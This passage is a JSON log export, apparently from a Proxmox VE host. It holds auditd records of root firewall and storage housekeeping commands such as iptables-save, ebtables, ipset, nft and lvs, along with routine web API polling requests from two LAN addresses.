{"@timestamp":1781965665532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.532:66588): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306058,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.058:60468): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965926096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.096:67706): arch=c000003e syscall=59 success=yes exit=0 a0=5cbcb832bd30 a1=5cbcb8337bc0 a2=5cbcb8305680 a3=5 items=2 ppid=65019 pid=65025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965094848,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 817"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=EXECVE msg=audit(1781965924.787:67678): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965665525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.525:66587): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cb4aa01c740 items=0 ppid=1156 pid=63959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964306049,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.049:60467): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965926093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.093:67705): arch=c000003e syscall=59 success=yes exit=0 a0=5cbc987f6ac8 a1=7ffe8df389b0 a2=5cbcb8305680 a3=5cbc987da24e items=2 ppid=65019 pid=65021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965093539,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 797"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=EXECVE msg=audit(1781965924.777:67675): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965665519,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.519:66586): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138bc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306041,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.041:60466): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965926091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.091:67704): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe8df38970 a1=5cbcb83273d0 a2=5cbcb8305680 a3=5 items=2 ppid=65019 pid=65020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965093539,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965924207,"@rawstring":"node=pve type=EXECVE msg=audit(1781965924.207:67672): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965665510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.510:66585): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306033,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.033:60465): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965926087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.087:67702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965092548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965924177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965924.177:67671): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965665500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.500:66584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f1220 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306027,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.027:60463): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965926080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.080:67701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965092548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 489"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=EXECVE msg=audit(1781965919.764:67670): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965665493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.493:66583): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306019,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.019:60462): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965926071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.071:67700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965092548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 766"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=EXECVE msg=audit(1781965919.756:67667): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965665485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.485:66582): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1220 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306013,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.013:60461): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965926064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.064:67699): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965092548,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 482"} {"@timestamp":1781965915926,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.926:67664): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965665476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.476:66581): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306004,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.004:60460): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965926056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.056:67698): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965091416,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965915922,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.922:67663): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965665463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.463:66580): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305998,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.998:60459): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965926052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.052:67697): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ee34b833740 items=0 ppid=1156 pid=65014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965091416,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 810"} {"@timestamp":1781965915921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.921:67662): argc=1 a0=\"date\""} {"@timestamp":1781965665452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.452:66579): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305992,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.992:60458): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965926049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.049:67696): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e4200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965090310,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965915916,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.916:67660): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965665446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.446:66578): arch=c000003e syscall=59 success=yes exit=0 a0=63040d9d3ed0 a1=63040d9d0c50 a2=63040d9b2680 a3=5 items=2 ppid=63945 pid=63951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305984,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.984:60457): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965926042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.042:67695): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65013 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965090310,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 820"} {"@timestamp":1781965915909,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.909:67659): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965665438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.438:66577): arch=c000003e syscall=59 success=yes exit=0 a0=63040d356ac8 a1=7fffda0252d0 a2=63040d9b2680 a3=63040d33a24e items=2 ppid=63945 pid=63947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305976,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.976:60456): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965926035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.035:67694): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ece10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65012 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965089215,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965915903,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.903:67658): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965665436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.436:66576): arch=c000003e syscall=59 success=yes exit=0 a0=7fffda025290 a1=63040d9b9310 a2=63040d9b2680 a3=5 items=2 ppid=63945 pid=63946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.969:60455): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965926030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.030:67693): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965089215,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 486"} {"@timestamp":1781965915895,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.895:67657): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965665430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.430:66574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ec9e0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305965,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.965:60454): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965926022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.022:67692): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ece10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965089215,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 486"} {"@timestamp":1781965915886,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.886:67656): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965665421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.421:66573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.963:60453): argc=1 a0=\"date\""} {"@timestamp":1781965926016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.016:67691): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b5cf20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965089215,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 812"} {"@timestamp":1781965915879,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.879:67654): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965665413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.413:66572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.958:60451): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965926009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.009:67690): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965088085,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965915873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.873:67653): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965665406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.406:66571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63942 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305948,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.948:60450): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965925999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.999:67689): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965088085,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 805"} {"@timestamp":1781965915867,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.867:67652): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965665396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.396:66570): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1315f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305939,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.939:60449): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965925994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.994:67688): arch=c000003e syscall=59 success=yes exit=0 a0=5d4970ac4ed0 a1=5d4970ac1c50 a2=5d4970aa3680 a3=5 items=2 ppid=65000 pid=65006 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965086992,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965915859,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.859:67651): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965665386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.386:66569): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.932:60448): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965925991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.991:67687): arch=c000003e syscall=59 success=yes exit=0 a0=5d49659ffac8 a1=7fff7c4d2630 a2=5d4970aa3680 a3=5d49659e324e items=2 ppid=65000 pid=65002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965086992,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 764"} {"@timestamp":1781965915852,"@rawstring":"node=pve type=EXECVE msg=audit(1781965915.852:67650): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965664381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965664.381:66568): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcb80 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964305922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964305.922:60447): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" 